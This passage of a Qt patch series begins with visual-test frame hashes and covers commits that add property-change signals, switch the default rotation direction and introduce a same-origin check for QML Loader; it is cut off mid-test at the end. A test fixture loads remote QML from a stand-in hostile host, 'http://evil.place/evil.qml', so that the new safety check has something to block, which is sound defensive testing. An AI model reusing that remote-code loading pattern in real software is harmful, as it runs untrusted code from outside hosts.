"7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2128 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2144 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2160 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2176 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2192 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2208 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2224 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2240 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2256 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2272 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2288 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2304 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2320 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2336 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2352 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2368 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2384 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2400 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2416 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2432 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2448 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2464 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2480 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2496 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2512 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2528 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2544 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2560 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2576 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2592 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2608 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2624 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2640 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2656 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2672 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2688 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2704 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2720 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2736 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2752 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 150; y: 274 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2768 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2784 - hash: "44a0b46c21bd4c76d44883ba146e3614" - } - Frame { - msec: 2800 - hash: "2224abc3333a2bc5fa1cf3c4e8d6a6f9" - } - Frame { - msec: 2816 - hash: "ea9c05c0295a300e21aacbdfd5b4968e" - } - Frame { - msec: 2832 - hash: "e630e2893f89a6ae536bcbd1a084af07" - } - Frame { - msec: 2848 - hash: "af56f1e79eb3746efb9e4bcbc3fbced8" - } - Frame { - msec: 2864 - hash: "96be8c3ba0d7a85c6f6df877b869b563" - } - Frame { - msec: 2880 - image: "parentAction.2.png" - } - Frame { - msec: 2896 - hash: "603d8684cb6f097e3ab2a2e5ef053112" - } - Frame { - msec: 2912 - hash: "0433d242d1dd40a3792f55f807ebbff4" - } - Frame { - msec: 2928 - hash: "1190067cacc7361f6cfe09f153c7a07e" - } - Frame { - msec: 2944 - hash: "98e917880471511122847ad8a406e3a3" - } - Frame { - msec: 2960 - hash: "fff06869074a3a6c5823ed3fb6fa7a43" - } - Frame { - msec: 2976 - hash: "602d95daee8f160a0fd784931d0a06bd" - } - Frame { - msec: 2992 - hash: "f7e466bbd52f40e88ff567758f4db835" - } - Frame { - msec: 3008 - hash: "54417a4c4fb71d458439ad2e2126f8e1" - } - Frame { - msec: 3024 - hash: "fe150dd5056b9dbf1cd0b196e9a7a47b" - } - Frame { - msec: 3040 - hash: "1384c871bead85916f7bfcdebc370697" - } - Frame { - msec: 3056 - hash: "5f13339cc0e604b75a9d1d85342fa717" - } - Frame { - msec: 3072 - hash: "655069d61b7a44e729a2cbb33d683c3e" - } - Frame { - msec: 3088 - hash: "2324e9e4a02e41855b066983dbf0e61d" - } - Frame { - msec: 3104 - hash: "0217baf091325b95c033ba073bd68ce5" - } - Frame { - msec: 3120 - hash: "c27854c3af5b58db85846a1762ab18ba" - } - Frame { - msec: 3136 - hash: "45246ee6383ceb6260f84571a885ba90" - } - Frame { - msec: 3152 - hash: "d82ded86f093d1a376994cacf43d0343" - } - Frame { - msec: 3168 - hash: "c9179d30f80c6101bca2bed40d6a859f" - } - Frame { - msec: 3184 - hash: "a63e032d20a9d985c6c345434d98a364" - } - Frame { - msec: 3200 - hash: "fc7d6797ce15edf7fadb9dae691ecd5c" - } - Frame { - msec: 3216 - hash: "76cf37ad8c50fed8b1900784b647819c" - } - Frame { - msec: 3232 - hash: "256aab3690c9ba928bb4d4dd3bbfc756" - } - Frame { - msec: 3248 - hash: "90cab52fdefbae4e7d0f0f93b46ebeb0" - } - Frame { - msec: 3264 - hash: "badb5103bf826dc467f6e620cc2b47be" - } - Frame { - msec: 3280 - hash: "e7d0e437de5ebc0fa07b2a4ef11159cb" - } - Frame { - msec: 3296 - hash: "5931b1c3932ab91446324165d7e2603a" - } - Frame { - msec: 3312 - hash: "ce1808db90ba955ab3cb845500f4c013" - } - Frame { - msec: 3328 - hash: "142f8a440d1fe2d868f47ba3006de9d7" - } - Frame { - msec: 3344 - hash: "10d32a6cc90319ea66d7f2c1241590ce" - } - Frame { - msec: 3360 - hash: "7f633559d715396e6de451b3dd2fadbd" - } - Frame { - msec: 3376 - hash: "d44590ae51ceef5e082747c44bc41be9" - } - Frame { - msec: 3392 - hash: "2b498181668fb1fbf65294d575654929" - } - Frame { - msec: 3408 - hash: "7efeeffd08e4de440da83511313de729" - } - Frame { - msec: 3424 - hash: "8de2331393d1e712192d11ed096836d3" - } - Frame { - msec: 3440 - hash: "fa9381ef2e295865a9b8cb9b36a0eacf" - } - Frame { - msec: 3456 - hash: "97debc4432c5ecb7f606a81e5411b02c" - } - Frame { - msec: 3472 - hash: "eb4c1bb1f4398e3c18182c28a015be76" - } - Frame { - msec: 3488 - hash: "a976aa509f4c6f309d9a6011eeae02aa" - } - Frame { - msec: 3504 - hash: "457de7ee05e0ef0ef120a3d4e371c02e" - } - Frame { - msec: 3520 - hash: "0c01f9f150fe33155fa20703735a6d27" - } - Frame { - msec: 3536 - hash: "5af4f80624082a264010247ea8630a1a" - } - Frame { - msec: 3552 - hash: "b23a1191d149549fa29a61b6dc70f037" - } - Frame { - msec: 3568 - hash: "e00fb32cb13b1347e4b7b9fdbcca68e5" - } - Frame { - msec: 3584 - hash: "fef0503c82f253f8bc3fb3e705a98aa7" - } - Frame { - msec: 3600 - hash: "7a9beca28340d2aa89da5e05f5ac2a55" - } - Frame { - msec: 3616 - hash: "f3c57ea07ab486ffa1f46da60de0b8f1" - } - Frame { - msec: 3632 - hash: "ef0a4ad9ac339fd6ea50dbe6baa9387f" - } - Frame { - msec: 3648 - hash: "1b317a9eb4ce022f005d551546c688a4" - } - Frame { - msec: 3664 - hash: "628e912a4a26800b9b7b5e60e60e3a7d" - } - Frame { - msec: 3680 - hash: "3587b75e4d834a88729754d2c2a4b193" - } - Frame { - msec: 3696 - hash: "084bc1360a38123589baec5aae15b4ff" - } - Frame { - msec: 3712 - hash: "47f0f6c3cdf456826a6fd6846e58dcc8" - } - Frame { - msec: 3728 - hash: "ed982c4c3ebd132baaaf43efad40a3f7" - } - Frame { - msec: 3744 - hash: "d7ddce47c23fada4c69d53d934582d71" - } - Frame { - msec: 3760 - hash: "74f2f911bee26c4c551f4c70596753ae" - } - Frame { - msec: 3776 - hash: "3ed7cbf10dfce3a485d7878766cf9da6" - } - Frame { - msec: 3792 - hash: "87a74257551ab6c7fcfe05e815482ae9" - } - Frame { - msec: 3808 - hash: "4f63e4904e97d4ce832b20b7317a9958" - } - Frame { - msec: 3824 - hash: "f912da8781e547c6e28890655c1b8884" - } - Frame { - msec: 3840 - image: "parentAction.3.png" - } - Frame { - msec: 3856 - hash: "faa640ccf993324400254ffb862ac279" - } - Frame { - msec: 3872 - hash: "b67f342424d1b9a364b09da8994fcd6b" - } - Frame { - msec: 3888 - hash: "b2407732194c1e0c2a9bfb379b94b562" - } - Frame { - msec: 3904 - hash: "55733608d0302ef90c124322ac6d8dc6" - } - Frame { - msec: 3920 - hash: "734f5b628a26d3d7c91ee84fb26d5b5f" - } - Frame { - msec: 3936 - hash: "27839fefa4a218cd77843358392bb874" - } - Frame { - msec: 3952 - hash: "8cac19559d37bd2b581cef0a4c707753" - } - Frame { - msec: 3968 - hash: "91422870aa1471571e7dd8ff5103f76c" - } - Frame { - msec: 3984 - hash: "7156166d5f8d13483467ef515627c95d" - } - Frame { - msec: 4000 - hash: "6028e8374c2ce42a9a9e85b4a8b53027" - } - Frame { - msec: 4016 - hash: "17c99592be58d2e03f9f173c47c0649b" - } - Frame { - msec: 4032 - hash: "6084b53186c6a7eda38ac7fa34bf45ce" - } - Frame { - msec: 4048 - hash: "e82131a8a5a06519f49308bbc25738cf" - } - Frame { - msec: 4064 - hash: "77bdb69cbe55d9c503c6aa1c0f974d87" - } - Frame { - msec: 4080 - hash: "b2346ec5d376651347281d5fb00fc4d7" - } - Frame { - msec: 4096 - hash: "36a3b72c9d7f09795c546855a269801d" - } - Frame { - msec: 4112 - hash: "4e5478b33baca797f3f8f72c2c6c51ad" - } - Frame { - msec: 4128 - hash: "e59d12be3ed1f58de010d385ddfe78e5" - } - Frame { - msec: 4144 - hash: "9674106a146effd47c2724a2dd82ae84" - } - Frame { - msec: 4160 - hash: "862cec781f169f713032e6d52d3616ce" - } - Frame { - msec: 4176 - hash: "c8d47bdfb6518ef4827677023313d559" - } - Frame { - msec: 4192 - hash: "19413931b3e788067dfaef39b47d30ff" - } - Frame { - msec: 4208 - hash: "600e426532c0348cd622257b0773efd5" - } - Frame { - msec: 4224 - hash: "6d975e259d4efa108375d271451531c1" - } - Frame { - msec: 4240 - hash: "50b0da4848564c063694202ce16ea808" - } - Frame { - msec: 4256 - hash: "0a9450739031f680735b5210e6a30c3f" - } - Frame { - msec: 4272 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4288 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4304 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4320 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4336 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4352 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4368 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4384 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4400 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4416 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4432 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4448 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4464 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4480 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4496 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4512 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4528 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4544 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 4560 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4576 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4592 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4608 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4624 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4640 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4656 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4672 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4688 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 4704 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } -} diff --git a/tests/auto/declarative/visual/animation/parentAction/parentAction.qml b/tests/auto/declarative/visual/animation/parentAction/parentAction.qml deleted file mode 100644 index eb3103e..0000000 --- a/tests/auto/declarative/visual/animation/parentAction/parentAction.qml +++ /dev/null @@ -1,55 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: 400; height: 400 - Item { - scale: .5 - rotation: 15 - transformOrigin: "Center" - x: 10; y: 10 - Rectangle { - id: myRect - x: 5 - width: 100; height: 100 - transformOrigin: "BottomLeft" - color: "red" - } - } - MouseArea { - id: clickable - anchors.fill: parent - } - - Item { - x: 200; y: 200 - rotation: 52; - scale: 2 - Item { - id: newParent - x: 100; y: 100 - } - } - - states: State { - name: "moved" - when: clickable.pressed - ParentChange { - target: myRect - parent: newParent - } - PropertyChanges { - target: myRect - rotation: -52 - scale: 1 - color: "blue" - } - } - - transitions: Transition { - SequentialAnimation { - ColorAnimation { duration: 500} - ParentAction {} - NumberAnimation { properties: "rotation, scale"; duration: 1000 } - } - } -} -- cgit v0.12 From 714fac87324b9007e5f82487d2c4a10b1997616e Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 23 Mar 2010 13:45:53 +1000 Subject: Add missing NOTIFYs. Task-number: QTBUG-8816 --- src/declarative/util/qdeclarativeanimation.cpp | 12 ++++++++++++ src/declarative/util/qdeclarativeanimation_p.h | 11 ++++++++--- src/declarative/util/qdeclarativetransition.cpp | 14 +++++++++++++- src/declarative/util/qdeclarativetransition_p.h | 11 ++++++++--- 4 files changed, 41 insertions(+), 7 deletions(-) diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index 858f9f2..f644917 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -2277,7 +2277,11 @@ QDeclarativeItem *QDeclarativeParentAnimation::target() const void QDeclarativeParentAnimation::setTarget(QDeclarativeItem *target) { Q_D(QDeclarativeParentAnimation); + if (target == d->target) + return; + d->target = target; + emit targetChanged(); } /*! @@ -2295,7 +2299,11 @@ QDeclarativeItem *QDeclarativeParentAnimation::newParent() const void QDeclarativeParentAnimation::setNewParent(QDeclarativeItem *newParent) { Q_D(QDeclarativeParentAnimation); + if (newParent == d->newParent) + return; + d->newParent = newParent; + emit newParentChanged(); } /*! @@ -2320,7 +2328,11 @@ QDeclarativeItem *QDeclarativeParentAnimation::via() const void QDeclarativeParentAnimation::setVia(QDeclarativeItem *via) { Q_D(QDeclarativeParentAnimation); + if (via == d->via) + return; + d->via = via; + emit viaChanged(); } //### mirrors same-named function in QDeclarativeItem diff --git a/src/declarative/util/qdeclarativeanimation_p.h b/src/declarative/util/qdeclarativeanimation_p.h index cb8ea3b..356b015 100644 --- a/src/declarative/util/qdeclarativeanimation_p.h +++ b/src/declarative/util/qdeclarativeanimation_p.h @@ -430,9 +430,9 @@ class QDeclarativeParentAnimation : public QDeclarativeAnimationGroup Q_OBJECT Q_DECLARE_PRIVATE(QDeclarativeParentAnimation) - Q_PROPERTY(QDeclarativeItem *target READ target WRITE setTarget) - Q_PROPERTY(QDeclarativeItem *newParent READ newParent WRITE setNewParent) - Q_PROPERTY(QDeclarativeItem *via READ via WRITE setVia) + Q_PROPERTY(QDeclarativeItem *target READ target WRITE setTarget NOTIFY targetChanged) + Q_PROPERTY(QDeclarativeItem *newParent READ newParent WRITE setNewParent NOTIFY newParentChanged) + Q_PROPERTY(QDeclarativeItem *via READ via WRITE setVia NOTIFY viaChanged) public: QDeclarativeParentAnimation(QObject *parent=0); @@ -447,6 +447,11 @@ public: QDeclarativeItem *via() const; void setVia(QDeclarativeItem *); +Q_SIGNALS: + void targetChanged(); + void newParentChanged(); + void viaChanged(); + protected: virtual void transition(QDeclarativeStateActions &actions, QDeclarativeProperties &modified, diff --git a/src/declarative/util/qdeclarativetransition.cpp b/src/declarative/util/qdeclarativetransition.cpp index ac07b10..4326a55 100644 --- a/src/declarative/util/qdeclarativetransition.cpp +++ b/src/declarative/util/qdeclarativetransition.cpp @@ -67,7 +67,7 @@ QT_BEGIN_NAMESPACE \ingroup group_states */ -//ParallelAnimationWrapperallows us to do a "callback" when the animation finishes, rather than connecting +//ParallelAnimationWrapper allows us to do a "callback" when the animation finishes, rather than connecting //and disconnecting signals and slots frequently class ParallelAnimationWrapper : public QParallelAnimationGroup { @@ -195,7 +195,11 @@ QString QDeclarativeTransition::fromState() const void QDeclarativeTransition::setFromState(const QString &f) { Q_D(QDeclarativeTransition); + if (f == d->fromState) + return; + d->fromState = f; + emit fromChanged(); } /*! @@ -213,7 +217,11 @@ bool QDeclarativeTransition::reversible() const void QDeclarativeTransition::setReversible(bool r) { Q_D(QDeclarativeTransition); + if (r == d->reversible) + return; + d->reversible = r; + emit reversibleChanged(); } QString QDeclarativeTransition::toState() const @@ -225,7 +233,11 @@ QString QDeclarativeTransition::toState() const void QDeclarativeTransition::setToState(const QString &t) { Q_D(QDeclarativeTransition); + if (t == d->toState) + return; + d->toState = t; + emit toChanged(); } /*! diff --git a/src/declarative/util/qdeclarativetransition_p.h b/src/declarative/util/qdeclarativetransition_p.h index 861111a..2f9e7b5 100644 --- a/src/declarative/util/qdeclarativetransition_p.h +++ b/src/declarative/util/qdeclarativetransition_p.h @@ -62,9 +62,9 @@ class Q_DECLARATIVE_EXPORT QDeclarativeTransition : public QObject Q_OBJECT Q_DECLARE_PRIVATE(QDeclarativeTransition) - Q_PROPERTY(QString from READ fromState WRITE setFromState) - Q_PROPERTY(QString to READ toState WRITE setToState) - Q_PROPERTY(bool reversible READ reversible WRITE setReversible) + Q_PROPERTY(QString from READ fromState WRITE setFromState NOTIFY fromChanged) + Q_PROPERTY(QString to READ toState WRITE setToState NOTIFY toChanged) + Q_PROPERTY(bool reversible READ reversible WRITE setReversible NOTIFY reversibleChanged) Q_PROPERTY(QDeclarativeListProperty animations READ animations) Q_CLASSINFO("DefaultProperty", "animations") Q_CLASSINFO("DeferredPropertyNames", "animations") @@ -90,6 +90,11 @@ public: void setReversed(bool r); void stop(); + +Q_SIGNALS: + void fromChanged(); + void toChanged(); + void reversibleChanged(); }; QT_END_NAMESPACE -- cgit v0.12 From ceebd7298e8d2325956e297c46a965d68c56b02f Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 23 Mar 2010 14:30:45 +1000 Subject: Change default RotationAnimation direction. Shortest as default too often led to unintuitive behavior. For example, RotationAnimation { from: 0; to: 360 } will not animate at all. Numerical gives the least surprising results. --- src/declarative/util/qdeclarativeanimation.cpp | 13 +++++++------ src/declarative/util/qdeclarativeanimation_p_p.h | 2 +- .../qdeclarativeanimations/tst_qdeclarativeanimations.cpp | 4 ++-- 3 files changed, 10 insertions(+), 9 deletions(-) diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index f644917..1fb3d99 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -1136,9 +1136,10 @@ void QDeclarativeVector3dAnimation::setTo(QVector3D t) \brief The RotationAnimation element allows you to animate rotations. RotationAnimation is a specialized PropertyAnimation that gives control - over the direction of rotation. By default, it will rotate - via the shortest path; for example, a rotation from 20 to 340 degrees will - rotation 40 degrees counterclockwise. + over the direction of rotation. By default, it will rotate in the direction + of the numerical change; a rotation from 0 to 240 will rotate 220 degrees + clockwise, while a rotation from 240 to 0 will rotate 220 degrees + counterclockwise. When used in a transition RotationAnimation will rotate all properties named "rotation" or "angle". You can override this by providing @@ -1153,7 +1154,7 @@ void QDeclarativeVector3dAnimation::setTo(QVector3D t) State { name: "-90"; PropertyChanges { target: myItem; rotation: -90 } } } transition: Transition { - RotationAnimation { } + RotationAnimation { direction: RotationAnimation.Shortest } } \endqml */ @@ -1205,7 +1206,7 @@ QDeclarativeRotationAnimation::QDeclarativeRotationAnimation(QObject *parent) { Q_D(QDeclarativeRotationAnimation); d->interpolatorType = QMetaType::QReal; - d->interpolator = reinterpret_cast(&_q_interpolateShortestRotation); + d->interpolator = QVariantAnimationPrivate::getInterpolator(d->interpolatorType); d->defaultProperties = QLatin1String("rotation,angle"); } @@ -1268,7 +1269,7 @@ void QDeclarativeRotationAnimation::setTo(qreal t) A rotation from 10 to 350 will rotate 20 degrees counterclockwise. \endtable - The default direction is Shortest. + The default direction is Numerical. */ QDeclarativeRotationAnimation::RotationDirection QDeclarativeRotationAnimation::direction() const { diff --git a/src/declarative/util/qdeclarativeanimation_p_p.h b/src/declarative/util/qdeclarativeanimation_p_p.h index 8ed745d..55aacfa 100644 --- a/src/declarative/util/qdeclarativeanimation_p_p.h +++ b/src/declarative/util/qdeclarativeanimation_p_p.h @@ -353,7 +353,7 @@ class QDeclarativeRotationAnimationPrivate : public QDeclarativePropertyAnimatio { Q_DECLARE_PUBLIC(QDeclarativeRotationAnimation) public: - QDeclarativeRotationAnimationPrivate() : direction(QDeclarativeRotationAnimation::Shortest) {} + QDeclarativeRotationAnimationPrivate() : direction(QDeclarativeRotationAnimation::Numerical) {} QDeclarativeRotationAnimation::RotationDirection direction; }; diff --git a/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp b/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp index 076afea..bce7166 100644 --- a/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp +++ b/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp @@ -180,7 +180,7 @@ void tst_qdeclarativeanimations::simpleRotation() QVERIFY(animation.target() == &rect); QVERIFY(animation.property() == "rotation"); QVERIFY(animation.to() == 270); - QVERIFY(animation.direction() == QDeclarativeRotationAnimation::Shortest); + QVERIFY(animation.direction() == QDeclarativeRotationAnimation::Numerical); animation.start(); QVERIFY(animation.isRunning()); QTest::qWait(animation.duration()); @@ -193,7 +193,7 @@ void tst_qdeclarativeanimations::simpleRotation() QVERIFY(animation.isPaused()); animation.setCurrentTime(125); QVERIFY(animation.currentTime() == 125); - QCOMPARE(rect.rotation(), qreal(-45)); + QCOMPARE(rect.rotation(), qreal(135)); } void tst_qdeclarativeanimations::alwaysRunToEnd() -- cgit v0.12 From 95aa8c8fc76e2309a629b05994a2677b0887140b Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Tue, 23 Mar 2010 14:51:56 +1000 Subject: Basic Loader origin safety (for discussion). --- .../graphicsitems/qdeclarativeloader.cpp | 3 ++ src/declarative/qml/qdeclarativecontext.cpp | 16 +++++++++ src/declarative/qml/qdeclarativecontext.h | 2 ++ .../qdeclarativeloader/data/differentorigin.qml | 3 ++ .../qdeclarativeloader/data/sameorigin-load.qml | 3 ++ .../qdeclarativeloader/data/sameorigin.qml | 3 ++ .../qdeclarativeloader/tst_qdeclarativeloader.cpp | 41 ++++++++++++++++++++-- 7 files changed, 69 insertions(+), 2 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativeloader/data/differentorigin.qml create mode 100644 tests/auto/declarative/qdeclarativeloader/data/sameorigin-load.qml create mode 100644 tests/auto/declarative/qdeclarativeloader/data/sameorigin.qml diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index 745734e..3cbafd6 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -185,6 +185,9 @@ void QDeclarativeLoader::setSource(const QUrl &url) if (d->source == url) return; + if (!qmlContext(this)->isSafeOrigin(url)) + return; + d->clear(); d->source = url; diff --git a/src/declarative/qml/qdeclarativecontext.cpp b/src/declarative/qml/qdeclarativecontext.cpp index 85896c4..ab3849a 100644 --- a/src/declarative/qml/qdeclarativecontext.cpp +++ b/src/declarative/qml/qdeclarativecontext.cpp @@ -361,6 +361,22 @@ QVariant QDeclarativeContext::contextProperty(const QString &name) const return value; } +bool QDeclarativeContext::isSafeOrigin(const QUrl &src) const +{ + if (src.isRelative()) + return true; + if (src.scheme()==QLatin1String("https")) + return true; + + QUrl base = baseUrl(); + if (src.host() == base.host() && src.port() == base.port()) // including files (with no host) + return true; + + qWarning() << src << "is not a safe origin from" << base; + + return false; +} + /*! Resolves the URL \a src relative to the URL of the containing component. diff --git a/src/declarative/qml/qdeclarativecontext.h b/src/declarative/qml/qdeclarativecontext.h index a349628..959af8b 100644 --- a/src/declarative/qml/qdeclarativecontext.h +++ b/src/declarative/qml/qdeclarativecontext.h @@ -85,6 +85,8 @@ public: void setBaseUrl(const QUrl &); QUrl baseUrl() const; + bool isSafeOrigin(const QUrl &src) const; + private: friend class QDeclarativeVME; friend class QDeclarativeEngine; diff --git a/tests/auto/declarative/qdeclarativeloader/data/differentorigin.qml b/tests/auto/declarative/qdeclarativeloader/data/differentorigin.qml new file mode 100644 index 0000000..e682d1c --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/differentorigin.qml @@ -0,0 +1,3 @@ +import Qt 4.6 + +Loader { source: "http://evil.place/evil.qml" } diff --git a/tests/auto/declarative/qdeclarativeloader/data/sameorigin-load.qml b/tests/auto/declarative/qdeclarativeloader/data/sameorigin-load.qml new file mode 100644 index 0000000..e281246 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/sameorigin-load.qml @@ -0,0 +1,3 @@ +import Qt 4.6 + +Item { } diff --git a/tests/auto/declarative/qdeclarativeloader/data/sameorigin.qml b/tests/auto/declarative/qdeclarativeloader/data/sameorigin.qml new file mode 100644 index 0000000..e7f5a14 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/sameorigin.qml @@ -0,0 +1,3 @@ +import Qt 4.6 + +Loader { source: "sameorigin-load.qml" } diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp index 2c20836..0deac3a 100644 --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp @@ -86,6 +86,8 @@ private slots: void noResizeGraphicsWidget(); void networkRequestUrl(); void failNetworkRequest(); + void networkSafety(); + void networkSafety_data(); // void networkComponent(); void deleteComponentCrash(); @@ -394,7 +396,7 @@ void tst_QDeclarativeLoader::networkRequestUrl() server.serveDirectory(SRCDIR "/data"); QDeclarativeComponent component(&engine); - component.setData(QByteArray("import Qt 4.6\nLoader { source: \"http://127.0.0.1:14445/Rect120x60.qml\" }"), TEST_FILE("")); + component.setData(QByteArray("import Qt 4.6\nLoader { source: \"http://127.0.0.1:14445/Rect120x60.qml\" }"), QUrl("http://127.0.0.1:14445/dummy.qml")); QDeclarativeLoader *loader = qobject_cast(component.create()); QVERIFY(loader != 0); @@ -448,7 +450,7 @@ void tst_QDeclarativeLoader::failNetworkRequest() QTest::ignoreMessage(QtWarningMsg, "(:-1: Network error for URL http://127.0.0.1:14445/IDontExist.qml) "); QDeclarativeComponent component(&engine); - component.setData(QByteArray("import Qt 4.6\nLoader { source: \"http://127.0.0.1:14445/IDontExist.qml\" }"), TEST_FILE("")); + component.setData(QByteArray("import Qt 4.6\nLoader { source: \"http://127.0.0.1:14445/IDontExist.qml\" }"), QUrl("http://127.0.0.1:14445/dummy.qml")); QDeclarativeLoader *loader = qobject_cast(component.create()); QVERIFY(loader != 0); @@ -483,6 +485,41 @@ void tst_QDeclarativeLoader::deleteComponentCrash() delete item; } +void tst_QDeclarativeLoader::networkSafety_data() +{ + QTest::addColumn("url"); + QTest::addColumn("message"); + + QTest::newRow("same origin") << QUrl("http://127.0.0.1:14445/sameorigin.qml") << QString(); + QTest::newRow("different origin") << QUrl("http://127.0.0.1:14445/differentorigin.qml") << QString(" QUrl( \"http://evil.place/evil.qml\" ) is not a safe origin from QUrl( \"http://127.0.0.1:14445/differentorigin.qml\" ) "); +} + +void tst_QDeclarativeLoader::networkSafety() +{ + TestHTTPServer server(SERVER_PORT); + QVERIFY(server.isValid()); + server.serveDirectory(SRCDIR "/data"); + + 